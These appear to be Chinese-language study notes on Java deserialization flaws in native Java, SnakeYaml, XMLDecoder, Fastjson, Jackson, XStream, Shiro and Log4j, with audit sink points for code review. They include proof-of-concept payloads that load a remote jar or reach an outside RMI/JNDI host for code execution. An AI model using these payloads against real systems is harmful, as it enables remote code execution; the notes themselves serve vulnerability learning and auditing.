Java 反序序列化
1. 原生反序列化:ObjectInputstream.readObject(),SnakeYaml ,XMLDecoder
2. 第三方反序列化:Fastjson , Jackson ,Xstream
原生
抓包,看数据包中是否有要反序列化的数据,rO0A开头
中利用工具,生成攻击链,java-chains ,或者 yakit 的 Yso-Java Hack
xmldecoder
POC:cmd /c calc
snakeyaml
snakeyaml 反序列化时,可以结合 JDK 自带的 javax.script.ScriptEngineManager 类,可实现加载远程 jar 包,完成任意代码执行
POC:!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ['http://127.0.0.1:8000/upload/yaml-payload.jar']]]]
xmldecoder 就是 xml 的格式转换,snakeyaml 就是 yaml 的格式转换,还有一种最常见的:json
第三方
Fastjson
fastjson 是阿里巴巴开源的高性能 java json 处理库,引入了 auto-type 功能, @type 获取类名
//java-chains 云上搭建,jndi control 需要配置,利用 jndi basicpayload
可以burp插件扫描漏洞
POC:{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"rmi://jndi.fuzz.red:5/ahld/test","autoCommit":true}
Jackson
流行的json解释器,可以对json序列化和反序列化
shiro
apache 的安全框架,用于验证,授权,加密
漏洞点:cookie 中是否有 rememberMe 字段,也可能藏在别的地方
Xstream
可以将对象序列化为 xml 或 xml 反序列化对象
漏洞点
log4j
开源的 java 日志框架,可以在可能上传日志的地方,恶意构造
POC:${jndi:rmi://jndi.fuzz.red:5/ahld/test}
总结
代码审计Sink点:
1、JDK(ObjectInputStream.readObject)
2、XMLDecoder.readObject
3、Yaml.load
4、XStream.fromXML(xstream)
5、ObjectMapper.readValue(jackson)
6、JSON.parse JSON.parseObject(fastjson)
7、CookieRememberMeManager(shiro)
8、logger.error logger.info(log4j)